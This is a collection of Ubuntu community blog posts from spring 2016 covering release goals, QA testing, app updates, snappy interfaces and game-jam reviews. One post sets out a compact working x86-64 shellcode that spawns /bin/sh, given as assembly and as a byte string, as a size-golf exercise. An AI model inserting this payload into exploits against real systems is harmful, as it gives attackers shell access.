May 01, 2016

Goals for Y Cycle

Svetlana Belkin

It’s that time again when I write up goals for the next Ubuntu release cycle!  But as a side thought, I noticed that I started to think in Ubuntu release cycles when planning my goals for the next six months.  I guess it’s my new measure of time since I’m out of school…  Anyhow, these are my goals for the Y (16.10) cycle:

  • See the Tweets below:

I don’t know yet if I will remix Red Notebook because at the moment, it’s the closest thing that I see to a electronic lab notebook. I will have post when I start this project (Week of May 1st to Week of May 8th)

EDIT TO ADD: I’m also thinking of writing one in Qt and calling it Qt ELN (Electronic Lab Notebook).

  • Hack around my favorite, net hack game, Stone Soup’s Dungeon Crawl! My main idea/hack is to add zealots of every god instead of just a select few.  But I may expend on that…  Again, I will have a post when I start this project.
  • Do more with Linux Padawan’s community.  I don’t know what yet though…

Hopefully, I can complete these projects or at least learn from working on them.  I will work on updating you all at least once a month.

Wish me luck!

on May 01, 2016 05:01 PM

Full Circle Magazine

Just a quick look at GIMP on the BQ Aquaris M10 Ubuntu Edition tablet.

on May 01, 2016 03:32 PM

I haven’t seen anyone else trumpeting this online. So I guess I will. 🙂

Since Ubuntu Touch’s OTA 10 update, apps can offer in-app purchases! Yay!

Besides allowing someone to write the next Candy Crush, this also means that app authors can stop providing separate “donation” versions of their app. Which means less busywork for authors, reviews are all on the same app, and less confusion for users.

Documentation is available from the QtPurchasing module docs. And remember to update your app’s framework to 15.04.4 (OTA 10).

If you want to see it in action, I’ve enabled a donation button in my “Lone Wolf” game app. No need to actually donate, it just might be interesting to see how it looks to the user (hit the “night mode” button in the upper right to see it — donating turns on the night mode feature).

Speaking of which, if you actually do something based on a purchase (like enabling a feature), the QtPurchasing docs recommend saving purchase information in “persistent storage.” I’ve just stuffed a boolean in a Settings object. But that’s easy for a user to modify themselves on disk. I don’t care about donation fraud, but I’m curious how I should better protect against that, in case I do something more interesting with IAP.

on May 01, 2016 02:07 PM

Hello world,

Oh yes, here we are again with yet another new cycle and this time, it’s the “YY” cycle – Yakkety Yak – please see the official announcement.

We would like to announce that testing Ubuntu GNOME Yakkety Yak (16.10) is open and we encourage those who would like to have fun to actually start testing even though we have just started and nothing new yet but you never know when you could find a new bug?!

Whether you are new to testing or not, here is your reference:

And as always, if you need any help or have any question, please contact us!

Thank you 🙂


on May 01, 2016 01:39 AM

April 29, 2016

So you have a new Ubuntu application, you've built it in QML with the Ubuntu SDK and now you're going to give your app a brand shiny new icon? But you go and visit the official documentation and you go "where do I start? How do I make an icon?" Well, you're kind of out of luck.

When I started designing app icons for folks, I (too) felt the official specification was lacking detailed instructions and explanations for the Suru design –not to mention it's woefully out of date– which isn't much help. My only recourse was to follow updates to the official icons themselves and to dissect the icons to determine the elements and visual principles that make up the Suru style and updates to it.

Now, that information or course of action may only be useful to someone like myself who does icon design and can see the cogs behind the images, so what is Jane or Joe app developer to do?

Not to worry, some time ago I wrote a guide that is an extension of sorts to the official documentation, breaking down the Suru-style a bit and showing how you can make an icon your self as well as provide a few resources.

Ubuntu Icon Design Guide

So if you use & find my guide useful, feel free to contact me if you would like me critique your icon or give feedback. 😊

on April 29, 2016 08:30 PM

LTS 16.04 Review roundup!

Ubuntu Insights

xerus_orange_300px_hex (1)

What a month! We had the release of Ubuntu 16.04 LTS that allowed us to bring out newer software for desktop in the form of snap packaging formats and tools.

By bringing snap packages to Ubuntu 16.04 LTS we are unifying the experience for Ubuntu developers, whether they are creating software for PC, Server, Mobile, and/or IoT Devices. This means greater security and reliability as it allows the two packaging formats – snap packages and traditional deb packages – to live comfortably next to one another which enables us to maintain our existing processes for development and updates to the OS. This reinforces our relationship with the Debian community and it enables developers and communities to publish either debs or snaps for the Ubuntu audience.

To celebrate the release, we’ve collated a range of reviews that shed light on what the LTS means. Happy reading!

Who said Ubuntu’s boring? From Infoworld >

Great slideshow of all the key features from IDG on Network World >

‘Ubuntu 16.04 LTS gives fans new reasons to love this popular linux desktop’ via PC World

And one of our favourite titles! ‘A perfect marriage between you and Ubuntu’ thanks The Register!

on April 29, 2016 01:00 PM

April 28, 2016

We (Joerg Berroth, Nekhelesh Ramananthan, Marcos Costales) donated all the money of this quarter from the uNav donate version to OpenStreetMap project.

We love OSM!


We're happy that the 20% of the purchases are going to Ubuntu already :))
on April 28, 2016 08:57 PM

The next Ubuntu Online Summit (UOS) is going to be from 3-5 May 2016 with sessions happening from 14:00 – 20:00 UTC.

If you are planning to attend, please register here:

If you and your team need to discuss something at UOS, please get your sessions in as soon as possible:

Getting them in earlier will mean that others can plan their attendance accordingly and you will have better turnout. Please note that we are not only keen to have discussion and planning sessions, but also workshops and presentations.

Originally posted to the community-announce mailing list on Wed Apr 27 08:06:53 UTC 2016 by Daniel Holbach

on April 28, 2016 03:53 PM

S09E09 – Solitary Confinement - Ubuntu Podcast

Ubuntu Podcast from the UK LoCo

It’s Episode Nine of Season Nine of the Ubuntu Podcast! Alan Pope, Mark Johnson, Laura Cowen and Martin Wimpress are connected and speaking to your brain.

We’re here again, although one of us is in Prague!

In this week’s show:

That’s all for this week! If there’s a topic you’d like us to discuss, or you have any feedback on previous shows, please send your comments and suggestions to or Tweet us or Comment on our Facebook page or comment on our Google+ page or comment on our sub-Reddit.

on April 28, 2016 02:00 PM

April marks the release of Xerus 16.4 and with it we bring a new design of our iconic wallpaper. This post will take you through our design process and how we have integrated our Suru visual language.


The foundation of our recent designs are based on our Suru visual language, which encompasses our core brand values, bringing consistency across the Ubuntu brand.

Our Suru language is influenced by the minimalist nature of Japanese culture. We have taken elements of their Zen culture that give us a precise yet simplistic rhythm and used it in our designs. Working with paper metaphors we have drawn inspiration from the art of origami that provides us with a solid and tangible foundation to work from. Paper is also transferable, meaning it can be used in all areas of our brand in two and three dimensional forms.

Design process

We started by looking at previously released wallpapers across Ubuntu to see how each has evolved from each other. After seeing the previous designs we started to apply our new Suru patterns, which inspired us to move in a new direction.

Ubuntu 14.10 ‘Utopic Unicorn’’


Ubuntu 15.04 ‘Vivid Vervet’

suru-desktop-wallpaper-ubuntu-vivid (1)

Ubuntu 15.10 ‘Wily Werewolf’


Step-by-step process

Step 1. Origami animal

Since every new Ubuntu release is named after animal, the Design Team wanted to bring this idea closer to the wallpaper and the Suru language. The folds are part of the origami animal and become the base of which we start our design process.


Step.2 Searching for the shape

We started to look at different patterns by using various techniques with origami paper. We zoomed into particular folds of the paper, experimented with different light sources, photography, and used various effects to enhance the design.

The idea was to bring actual origami to the wallpaper as much as possible. We had to think about composition that would work across all screen sizes, especially desktop. As the wallpaper is a prominent feature in a desktop environment, we wanted to make sure that it was user friendly, allowing users to find documents and folders located on the computer screen easily. The main priority was to not let the design get in the way of everyday usage, but enhance it aesthetically and provide a great user experience.

After all the experiments with fold patterns and light sources, we started to look at colour. We wanted to integrate both the Ubuntu orange and Canonical aubergine to balance the brightness and played with gradient levels.

We balanced the contrast of the wallpaper color palette by using a long and subtle gradient that kept the bright and feel look. This made the wallpaper became brighter and more colorful.

Step.3 Final product

The result was successful. The new concept and usage of Suru language helped to create a brighter wallpaper that fitted into our overall visual aesthetic. We created a three-dimensional look and feel that gives the feeling of actual origami appearance. The wallpaper is still recognizable as Ubuntu, but at the same time looks fresh and different.

Ubuntu 16.04 Xenial Xerus

Xerus - purple

Ubuntu 16.04 Xenial Xerus ( light version)

Xerus - Grey

What is next?

The Design Team is now looking at ways to bring the Suru language into animation and fold usage. The idea is to bring an overall seamless and consistent experience to the user, whilst reflecting our tone of voice and visual identity.

on April 28, 2016 01:39 PM

For the past nine months, I have done a couple forms of QA for the Ubuntu project and flavors. In this blog post, I plan on highlighting some common practices and how I contributed.


Download the image

For demonstration purposes, I'll grab the Lubuntu daily image, which as I'm writing this, is the Yakkety daily image. First, navigate to, it should look similar to the below screenshot:

Since in this case we are testing Lubuntu, select lubuntu/, the page should look like this after loading:

Lubuntu is a special case. They have desktop images and alternate images1. The desktop image is the same across all flavors, while the alternate image uses the Debian installer and requires less RAM to run. In this case, let's test the alternate image, so select daily/, the page should look like this after loading:

In the above screenshot, I have noted a few things, here is the purpose of each directory2:
20160425/ - I am writing this on April 26, 2016 (20160426), but this directory exists to ensure we have an image from the previous day for testing purposes and in the odd case that something gets messed up.
20160426/ - These are today's images
current/ - All of the images go through some automatic testing before proceeding to this directory, these are the last images that passed these tests.
pending/ - This is the directory that holds the images that are either currently testing or that haven't passed the tests, and this is usually the same files as 20160426/.

We are going to grab the image from the current/ directory. The page for current/ should look like the following screenshot3:

Scroll down and you should see the following:

Listed are three architectures: amd64 (which is 64-bit), i386 (which is 32-bit), and PowerPC (old Macintosh machines). Other Ubuntu flavors usually have only amd64 and i386, but Lubuntu has a PowerPC image as well. We have six (6) files for each architecture:

  1. *.OVERSIZED - irrelevant right now, you do not need to worry about it.
  2. *.iso - the image file.
  3. *.iso.zsync - the zsync file for the image.
  4. *.jigdo - the Jigdo file.
  5. *.list - the list file.
  6. *.template - the jigdo template file.

I will show you how to utilize two (2) of the six (6) files in this directory to download the images. Ensure the zsync package is installed on your system before continuing. To download the image, yes, you can use your web browser to download the image. But there is a better way, using zsync. zsync allows you to download the image, but when the image changes, it will automatically merge the changes with the existing image that you have. Since it is the same directory and image name for the whole development cycle, you can safely use one link until the development release gets released. I'll create a directory to put the images:
$ mkdir daily-images && cd daily-images
Copy the zsync link for your architecture and paste it into the terminal, for example:
$ zsync
When you press Enter, the image will download. When this is done, you should have the image ready to go.

Getting set up with the ISO QA Tracker

Navigate to in your browser, you should see the following:

On the left side, click the Log in button. You should be brought to a page that looks like this:

If you already have an Ubuntu One account, log in with your credentials and press the Log In button. If you don't have an account, create one. I don't plan on going much into detail on this, so let's move on. You should be brought to a screen that looks similar to this:

Click the Yes, log me in button. You should be brought to the following screen, if you have a black bar at the top like in the image, you have logged in correctly:

Towards the bottom, you should see the Yakkety Daily suite3. Click on that and you should get to a screen with various options for images. Scroll down and you should get a screen similar to this:

Since I downloaded the amd64 desktop image earlier, I will select Lubuntu Desktop amd64. You should get to a screen that looks like this:

Here we have four test cases to choose from:

  • Install (auto-resize) - requires an existing installation.
  • Install (entire disk) - very generic.
  • Install (manual partitioning) - same as entire disk except you get to manually partition everything.
  • Live Session - testing the live instance.

Because it's the most generic, I'll select Install (entire disk). When you click on that, you should get a screen similar to this:

If you scroll down to the bottom, you should see something similar to this:

Filling it out will be covered in a bit, but it's good to know what the submission form looks like.

Executing the test case

A lot of the test cases are done in virtual machines, but if you have hardware to spare, that's better, but it's not essential. I'm not going to cover how to use a virtual machines, but you can find good guides below. I prefer KVM because the Linux kernel has built-in support for it, it's a lot more integrated, and it's completely free software. I've used VirtualBox in the past, it's a great program, but it's proprietary, and the kernel modules can be a bit fidgety to get working after a kernel upgrade.

Before you begin, read over the test case you plan on executing, there may be some important instructions that you need to watch out for. When you are ready to start, on the test case, select the In Progress radio box and press the Submit result button. Complete the test exactly how the test case says it should be done.

During the installation, if you encounter an error that is critical enough that you cannot proceed, first look at the Bugs to look for. Is there a bug that describes your problem? If not, search Launchpad for the bug. If it's not there, identify the culprit package and file a bug against it. If you have trouble doing this, join the #ubuntu-quality channel using your IRC client or the IRC client provided below and ask for help.

When you are done, on the test case page, click the button to edit your test case result:

You should be brought to a page similar to this:

If you had no trouble installing it using the instructions, select the Passed radio box. For the bugs, from what I have seen, any bugs in the system, NOT just the installation bugs, should be reported. So look at the release notes of the most recent milestone for the flavor you are testing, and go through bug reports. Confirm as much as you can, when you do, mark the bug as Me too and list the bugs under the Bugs header in the following format:


Be careful, the tracker likes to insert extra commas and sometimes mangle this a bit. Always check this field before updating your result.

When you have all the bugs cited on this page, select the Update result button. If you then scroll down to the bottom, you should see your Launchpad ID with a green checkmark beside it and links to the bugs you listed. Congrats! You now completed that test case!

Package QA Test

The package QA tests exist to ensure that all packages are thoroughly tested for the release. Ensure you have an installation of the daily image for that flavor. Before you begin, ensure you have an Ubuntu One account set up. Also ensure you have read the previous section as I will not repeat some information that is explained above.

Navigate to in your browser, you should see the following:

Click on Yakkety Daily3 and you should be brought to a screen similar to this:

Since as of the time of writing, Xubuntu is the only flavor with package test cases, click on Xubuntu Desktop and you should be brought to a screen similar to this:

At this point, open the test case and complete like normal, making sure to follow instructions exactly how they are listed. Instead of checking the release notes, go to the Launchpad bugs page for each package and check against all of the bugs. You can find the bugs for each package at the following URL, replacing PACKAGE with the respective package name:

After this is done, congrats! You just completed a Package QA test!

Write a manual test case

The manual test cases are not automatically generated, they are hand-written for that application. I will tell you how to write a test case but I'm not actually going to write one because that would be too tedious for me to put in this article.

To keep track of the manual test cases that need writing, we have bugs for each test case and details on what to do to it. I've done this a few times before, so I know these already, but read over the instructions for writing a test case before you begin. First, assign the bug to yourself and mark it as In Progress. Then read over the bug report and responses to ensure you know what you are doing. Next, ensure the program is installed by default in the flavor the bug report specifies. If this is not the case, mark the bug as Incomplete and state that it is not in the flavor you specified. If it is there, you can continue.

After that, grab the source for the Ubuntu Manual Test Cases. Ensure you have bzr installed and run:

$ bzr branch lp:ubuntu-manual-tests

Then cd into the ubuntu-manual-tests directory just created. Go into the testcases/packages/ directory and another subdirectory if applicable. Open your favorite text editor and create a file with the name of the package you are creating a test case for, no need for any numbers. Using the guide above, write the test case and verify it. Below I have embedded a video by Nicholas Skaggs if you prefer to view a video:

When you are done, make sure you are directly in the ubuntu-manual-tests directory, and execute the following command4:

$ bzr add * && bzr commit --fixes lp:BUG#

Then push to a Bazaar branch in Launchpad:

$ bzr push lp:~/ubuntu-manual-tests/bugfix#####

Then go to the Bazaar page for the Ubuntu Manual Testcases project and find your branch. Then submit a merge request detailing your test case. Congrats! You wrote a manual test case!

Further questions?

Below if you are on my website, I have linked an IRC client for you to use if you do not have your own. Type in a nickname, press start, and press Enter to speak in the channel. If you have an IRC client, go to #ubuntu-quality on If you prefer not to use IRC, we have a mailing list that you can use if you wish. Good luck and I hope to see you around! ☺

1. We also have a preinstalled image, but I will not cover that in this tutorial.
2. Even though the directory names will have changed, the information is still accurate.
3. This information will still be valid after we move on from Yakkety images.
4. Make sure Bazaar is set up properly before doing this
If you have questions/comments/concerns/suggestions about this article, my email is or I am tsimonq2 on Freenode (PMs and pings welcome).
on April 28, 2016 03:45 AM

April 27, 2016

Virio, guerrero astur y actual líder del clan miraba desafiante su castro desde el texu.
Bajo sus pies, la tierra empañada de sangre tras la última batalla, le recordaba que la avaricia romana volvería a asolarles con guerras interminables.

Adaptación del guerrero astur de Berto Peña

Pero no miraba el castro. Su corazón latía exuberante y su mente iba mas allá. Juró al Nuberu apreciar la libertad por el resto de sus días. Tras la victoria seguían siendo libres del yugo romano.

En la distancia, los sones de gaitas y tambores resonaban por las angostas calles y plazas del castro. El jolgorio desatado de la victoria. El momento de festejar su libertad.

Ahora, es tu turno ;)
# apt-get install ubuntuphone unav libertad
on April 27, 2016 07:19 PM
uNav 0.59

The uNav team is proud to announce the release of uNav 0.59 code named Beauty and the Beast. In my opinion, this is truly one of the best releases we have pushed out. The code name should give you a hint of what we focused on for 0.59 ʘ‿ʘ

User Testing

We started doing user testing early in the development cycle with friends and colleagues which revealed several interesting issues that new users found to be confusing and detrimental to the uNav experience. I suppose the first step in solving a problem is acknowledging we have a problem. Internally we found it difficult to accept the fact that certain features like the NearBy, Menu Navigation and Search that we spent hours building was not as intuitive as we thought it would be.

I am thankful to the volunteers who joined our user testing sessions which resulted in a brand new navigation structure described in the next section.

Brand new navigation structure

User testing revealed that our menu (route page) was inefficient and misleading. While it did present a nice launch pad from which users can perform actions, it took longer to perform basic actions like search and navigate.

So we took a step back and looked at the bigger picture and asked ourselves,

What is uNav? What do users really use uNav for?

The answer is simple, uNav is a navigation app which helps users to get from Point A to Point B. It is critical that we make this feature the highlight of our app and easy to use.

That meant bringing the ability to search for locations to the forefront of the app rather than burying it inside menus.

uNav 0.59

The search page provides quick access to various search sources (Address, Coordinates & Favorites).

uNav 0.59

Visual Revamp

As you may have guessed from our code name, we have a beast of an app uNav..this release we focused on turning that beast into a princess ;). We injected some brand color into the app to make it more lively.

The interface also guides the user and prevents them from making a mistake. I have talked about this in my past posts about the best interface being one which actively prevents the user from making a mistake rather than just showing a error dialog after they make a mistake.

Here is a small example of it in action,

uNav 0.59

The zoom buttons got a bit of design love to improve their contrast against the map background.

uNav 0.59

POI Details

This is my personal favorite feature in this release. It shows all available information about a POI. This feature is heavily dependent on the OpenStreeMap database. However, I have found that adding details about a POI (restaurant, shop etc) is super easy using OSM's web editor. By taking a few moments to fill them out, you help out the community as well.

uNav 0.59

Reverse Geocode

You can long-press on any point in the map to get its address. If that point turns out to be a POI, then we show you its details.

uNav 0.59

Performance Improvements

There are some massive improvements to the calculate route time with speed camera alerts features enabled. In our tests, a 500 Km road-trip would take 2-3 minutes before uNav displays the route and the speed camera. Now it only takes 2-3 seconds!

Pinch Zoom

Did you just read pinch-zoom? Yes you did! uNav 0.59 finally brings pinch-zoom feature and also an improved long-press feature.

Well that's all from me. Hopefully I didn't bore you with my long blog post. Loving uNav? Be sure to let us know with your reviews in the app store.

Next up, Chameleonic uNav!

on April 27, 2016 06:26 PM
I'm delighted to share the slides from our joint IBM and Canonical webinar about Ubuntu on IBM POWER8 and LinuxOne servers.  You can download the PDF here, or tab through the slides embedded below.  The audio/video recording should be available tomorrow.

on April 27, 2016 06:07 PM
This post is the third in a series about snappy interfaces. Knowledge presented in posts one and two is assumed.

Today we will look at what makes an interface. This post might be a bit heavier on the programming side so feel free to skip over the code fragments if that is not your thing. Note that we will not build an actual interface just yet. The goal of this article is to set the stage for that to be meaningful, at least in part.

The Interface interface

From the point of view of snappy, an Interface is a bit of code with specific APIs. In go's terms it is an interface (note the lower case i). If you are familiar with other languages it is just a way to describe a class with a specific set of methods.

In go, this is spelled out as:

type Interface interface {

This can be read as "the go type Interface is an object with the following methods ..."

Interface name

At a very basic level each interface has a name.

type Interface interface {
Name() string

That is, having an arbitrary interface you call the Name method to obtain the name of that interface. Interface name must be unique and is something that other developers will refer to so plan ahead and pick a good, descriptive name. You cannot just change it later.

Validating plugs and slots

Two of the methods in an Interface are used to verify if a plug or slot definition is correct.

type Interface interface {
SanitizePlug(plug *Plug) error
SanitizeSlot(slot *Slot) error
Remember that plugs and slots can hold arbitrary attributes. A particular interface, say, one that allows access to a GPIO pin, can use an attribute to describe which particular pin is exposed. As an interface author you should check if the pin is specified correctly (e.g. that it is a number, that it has a sensible value, etc).

Both methods take an object to sanitize (a plug or a slot) and return an error if the object is incorrect. If you don't need to check anything just return nil and carry on.

Interfaces and snippets

Having a valid plug and slot, the main thing that interfaces do is to influence the various security systems. This is implemented as a set of four methods. Before I will spill the beans on the code I will explain this informally.

Small digression, when you see a security system below think of things like apparmor and seccomp. I will focus on security systems in a dedicated instalment. For now they are simply a part of the overall security story. 

Each security system is responsible for setting up security for each app of each snap. By default all apps get the same treatment, there is nothing unique about any particular app. Interfaces allow to pass extra information to a particular security system to let a particular app do more than it could otherwise.

This extra information is exchanged as snippets. Snippets are just bits of untyped data, blobs, sequences of bytes. In practice all current snippets are just pieces of text that are easy to read and understand.

Interfaces can hand out snippets for each of the four distinct cases:
  1. the mere fact of having a plug of a given interface
  2. the fact of having a particular plug connected to a particular slot
  3. the mere fact of having a slot of a given interface
  4. the fact of having a particular slot connected to a particular plug
Note that there is a pattern. Applications can get extra permission by simply having a specific plug or a specific slot. Applications can also get extra permission by making an interface connection between a plug and a slot.

Typically most permissions will be based around a plug connected to a slot. Apps bound to the plug will be allowed to talk to a specific socket, to a specific DBus object, to a specific device on the system. All such permissions will be expressed through a snippet provided by case 2 in the list above.

For applications providing services to other snaps (e.g. bluez, network-manager, pulseaudio, mir, X11) the mere fact of having a slot will grant permissions to create the service (to configure network, manage GPUs, etc). Applications like this will use the mechanism provided by case 3 in the list above.

The meaning of the snippets is almost opaque to snappy. Snappy collects them, assembles them together and hands them over to security backends to process. At the end of the day they end up as various configuration files.

So how does the method definition look like? Like this:

type Interface interface {
PermanentPlugSnippet(plug *Plug, securitySystem SecuritySystem) ([]byte, error)
ConnectedPlugSnippet(plug *Plug, slot *Slot, securitySystem SecuritySystem) ([]byte, error)
PermanentSlotSnippet(slot *Slot, securitySystem SecuritySystem) ([]byte, error)
ConnectedSlotSnippet(plug *Plug, slot *Slot, securitySystem SecuritySystem) ([]byte, error)

Note that each method gets the name of the security system as an argument. A single interface can influence all security systems if that is required for it to operate correctly.

Connecting interfaces automatically

The one last thing an interface can do is say it wants to automatically connect plugs to viable slots under certain conditions. This is expressed as the following method:

type Interface interface {
AutoConnect() bool

This feature was designed to let snappy automatically connect plugs in snaps being installed if there is a viable, unique slot on the OS snap that satisfies the interface requirements. If you recall, the OS snap exposes a number of slots for things like network, network-bind and so on. To make the user experience better, when a snap wants to use one of those interfaces the user does not have to connect them explicitly.

Please note that we're going to be conservative in what can be connected automatically. As a rule of thumb auto-connection is allowed if this is a reasonable thing to do and it is not a serious security risk (the interface doesn't hand out too much power).

The complete picture

You can check the complete interface code, with documentation, here. The key thing to take out of this whole article is that interfaces are bits of code that can validate plugs and slots and hand out security snippets.

How this actually gets used and how the snippets should look like, that is for the next post.
on April 27, 2016 12:50 PM

So about two years ago, I put together the shortest x86-64 shellcode for execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I thought was pretty damn good. However, I’m a perfectionist and so I spent some time before work this morning playing shellcode golf. The rules of my shellcode golf are pretty simple:

  • The shellcode must produce the desired effect.
  • It doesn’t have to do things cleanly (i.e., segfaulting after is OK, as is using APIs in unusual ways, so long as it works)
  • It can assume the stack pointer is at a place where it will not segfault and it will not overwrite the shellcode itself.
  • No NULLs. While there might be other constraints, this one is too common to not have as a default.

So, spending a little bit of time on this, I came up with the following 22 byte shellcode:


xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b

Assembled, we get:

char shellcode[] = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05";

This is shorter than anything I could find on shell-storm or other shellcode repositories. If you know of something shorter or think you can do better, let me know!

on April 27, 2016 07:00 AM

April 26, 2016


Stuart Langridge

A few weeks ago, the LOWREZJAM kicked off on It’s a game jam; the idea is to build a computer game. This one had an interesting restriction: the game had to be 64x64 pixels. So, we’re going old-school.

I thought I’d enter. So did about four hundred other people. It turns out that a jolly good way to get people to rate your game is for you to rate theirs and comment on it; then, your comment gets decorated with a link saying “see their submission” and they tend to follow it and rate you in turn. So, I wrote a bunch of short reviews. There doesn’t seem to be a way to link to all my reviews in a given jam on (although it would be good if there were!), so I’ve collected them here for posterity. Note that these make no attempt to be comprehensive or fair or balanced; they’re basically comments on what I thought of the games I played and why I didn’t like them, if indeed I didn’t.

A few games got a rating but not a comment; those aren’t included. I also haven’t included the actual ratings I gave, because those don’t matter as much. The comments are mainly designed to be helpful to the game’s developer, if anything.

I only played in-browser games, because they’re easiest to play, and I don’t have the Unity web player so those games which require it didn’t get played. It’s good to see that a pretty high proportion of “Unity” games are using the Unity WebGL export so they can be played without the plugin! I also didn’t play everything; with 188 games just in-browser, I was never going to get through them all. Pro-tip: this is one good reason to give your game nice imagery, so it looks interesting in a big list.

In essence, this was a lot of fun. There were an awful lot of things which were clearly only part-finished (didn’t have sound, didn’t have a way to win, didn’t have title screens, and so on), but there were some really accomplished entries in here; things that I can absolutely imagine being a released game that one could play and have fun with. Nice work, indie game dev community.

You can also watch Jupiter Hadley play all the games on her YouTube channel; at time of writing mine isn’t done yet, but it should be over the next few days.

So! Reviews!


The extra challenge provided by trying to match 4 (to get a potion) while not matching 3 (so the things disappear) adds an interesting extra wrinkle to this. The scene — a potion seller, wizards — adds some meaning to the game mechanic, and the graphics are good. Dragging is a little awkward, and unlike most match-3 games you can drag to swap any two pieces, which I didn’t at first realise.

Time Scale

I appreciate the idea of slowing down time. But I’m not sure why I wouldn’t play just with my finger on the shift key the whole entire time, thus turning the game into Bullet Time All The Time? Some puzzles which require performing them with time at normal speed would be nice, although maybe there are plenty and I just didn’t get that far….

(also, the sound made by the “fire dots into the air” triangles is not perfectly synchronised with actually firing dots into the air, which makes jumping over them considerably harder; this may have been a deliberate thing, but it’s over the line between “maliciously confusing” and “just annoying”, for me at least)


Ouch, the ponderous music is quite painful to endure.


Great graphics — the text is a little hard to read at times, especially distinguishing D and O, or similar — but the feel of the game is marvellous. It really misses sound!


Interesting concept, although the 64px limitation maybe makes the representation a bit too abstract! Having new children get born just by walking into other players feels a bit weird, too. But there are some quite complex game mechanics underlying this!

Star Shield

Obviously simple graphics, but easy to play. The white UFOs are terribly hard to kill! I’m not sure what “shield” does; it certainly doesn’t stop you being killed by bullets or collisions :-)

Castle Storm

Really nicely put together; a complete and well-implemented fun game. The font is, as noted, a little hard to read, and it’s sometimes hard to know why you’re not allowed to buy a thing — is it because you haven’t bought one of the pre-requisites, or because you don’t have enough money, or because you’ve bought it already — and that does break the immersion somewhat. Watching a Lord attacking the enemy castle is highly amusing. Nice work!

Fast Escape LowRez

Maze gameplay boiled down to its simplest possible form. :) Agreed with bonus1up that some framing device and music and sounds would help it feel more like a game rather than a demo of the technique. The maze generator seems to generate some pretty tangled messes at times, and I roamed pretty aimlessly until I discovered the green exit block. A score or some method of assessing progress would be nice, perhaps.

Gummy Turbo Tunnel

I see the idea, but I assume that the deadline landed before gameplay could be added. Nice start on an idea, though!


Sadly, the game crashed with an error (screenshot at imgur) when I tried to increase the growth rate; I think I may have pressed “right” and Z at the same time. I love the concept; it would be nice to see a version of this which wasn’t constrained to 64x64 and the Pico, as an art piece and less clunky to fiddle with the parameters!

Dungeon Shifter

Interesting concept, and the graphics are nice (blocky, but nice). I don’t think I understood what most of the “control panel” is actually for, though, and needing to control that by clicking while simultaneously either clicking arrows or using the arrow keys to go up and down means that the challenge is not “playing the game” but “managing the controls”, which I don’t think is meant to be the challenging part :)

64s Resistance

I don’t think I understand what the score is actually scoring, here. Button-mashing, once I started being “attacked” from all sides, got me up to 70 or so, but I didn’t really have much of an idea what I was doing, and then my score reset to 0 and I didn’t know what I’d done wrong. It feels like there might be a good idea in here for twitch gameplayers and people who like Super Hexagon, but I think more feedback as to what’s going on and why is needed.


The try-and-die-iest of try-and-die games :) Fun! The controls feel a little bit wonky; sometimes I wouldn’t be able to jump and it wasn’t clear why. Fun, though, and I won after only forty (!) deaths.


Seems fun — it’s a tiny 64x64 Gunpoint, sorta! Really short, though; maybe more levels would be good.

Duck Quest

As you say, an in-progress demo rather than a complete game, but what’s there is pretty good. I like the single-colour palette; I can imagine this being a working game (once completed) on something like a watch or a single-use handheld game.

Marble Incline Redux

I don’t think the text display fits the 64px grid, does it? Also, it would be useful if continuing to the next level and starting that level were controlled with a keypress you’re already using, such as up arrow, as well as restarting after death, rather than having to wait or press R.

Wall Defender

Simple, and basic graphics, but easy to play and understand, and the two offset guns provide a modicum of strategy when trying to shoot two different attackers at once. I won first time out, so the difficulty curve probably needs a bit of tweaking :)

The Forest

Smooth movement, and I like that running into a shadow is not an instakill. Attempting to find the key is very frustrating!


Elegantly done graphics. I didn’t realise for quite some time that you can jump :) Sound effects would be good to go along with the music, perhaps?

Hyper Racing

The car handles excellently — the first level is so easy to pass that I was already thinking of recommending more realistic movement (rather than being able to turn instantly), and then the second level (which is just the same idea, with a larger oval) is much much harder to pass in the time! So I think the difficulty curve is just about right, and the graphics are good; nice work!


The skull and its laugh makes me laugh in turn. I didn’t really realise that I was supposed to be remembering the colours until after the first playthrough; maybe some minimal instructions, or a slide saying “REMEMBER” before the colours start?

Postal Panic

Oh goodness me the voice commentary is so annoying. My game went out of its way to mock failure and have annoying voices and it’s not a patch on this; I kept missing parcels because I wanted to punch the screen. Excellently done. Also, nice graphics, good sound work, and slick; a complete game. Only a weakling such as myself would rate it down because it’s just too hard :)

Monty Norman’s James Bond Theme

I didn’t realise that I was meant to shoot without being able to see Bond! Once I worked that out, and that the “gunsight” was actually moving even though it doesn’t appear to be because the background is all white, I was able to shoot at and hit 007. I like the music loudness approach (reminiscent of Find the Invisible Cow).


A good start; nice pixel art. The game obviously needs work, as you know; as far as I can tell it’s not possible to jump over two sets of spikes next to one another. You’ll also not want to make the “restart the game” keypress also count as a “jump” keypress. But this could grow to be something good with more work!


I suspect this is a demo that never got finished? The graphics are surprisingly impressive — I particularly liked the realism of the rain — but there doesn’t seem to be a purpose to the game (nor any sound), and walking through an elephant means that the elephant sticks right with you and flickers on and off, weirdly. Could be the nucleus of something impressive with lots more development, though; a good start.

The Sheriff

Sadly, the game doesn’t cancel keypresses when they’re not used, which means that every time I’m walking downwards and I walk into something, the down arrow is ignored by the game and passes on to the web page and the page scrolls downwards, taking the game out of vision! This made it really hard to play, I’m afraid! Opening the frame in its own tab helps, though.


Nice art, and the car is surprisingly controllable. The low resolution meant that I didn’t realise for quite a while that my car could be turned upside down and that’s why I couldn’t drive anywhere, though, and if you leave the AI alone for three seconds it scores a goal :-)

Useless Clicker

Impeccably implemented simple joke. It gets a smirk, which I’m sure is all its little heart desires :)


I think I got trapped in a corner and couldn’t get out, even after I died and the game restarted. Simple mechanic, and it’d benefit from some sound, but playable!

Cat Herder 9000

The cats slide around not on the 64x64 grid, which makes them look smooth but breaks the rules :) As noted, there’s not much of a sense of agency here; I don’t feel like I have much control over the cats (arguably, because they’re cats), but that does mean that the game feels like making a succession of random moves until you win by accident, rather than by superior play. I can’t see how anyone could become an expert at this game rather than merely winning by luck…

Circle Pong

Quite a clever mechanic — that I get confused when I’m atop the circle and the “left” button is actually going to the right is not the game’s fault :) It’s very easy to overshoot or undershoot, though, which is frustrating; it might be nice if this were made less punishing, although maybe the idea of having to get it dead on right is a deliberate part of gameplay!

Intents: Man to Man (v1.01a)

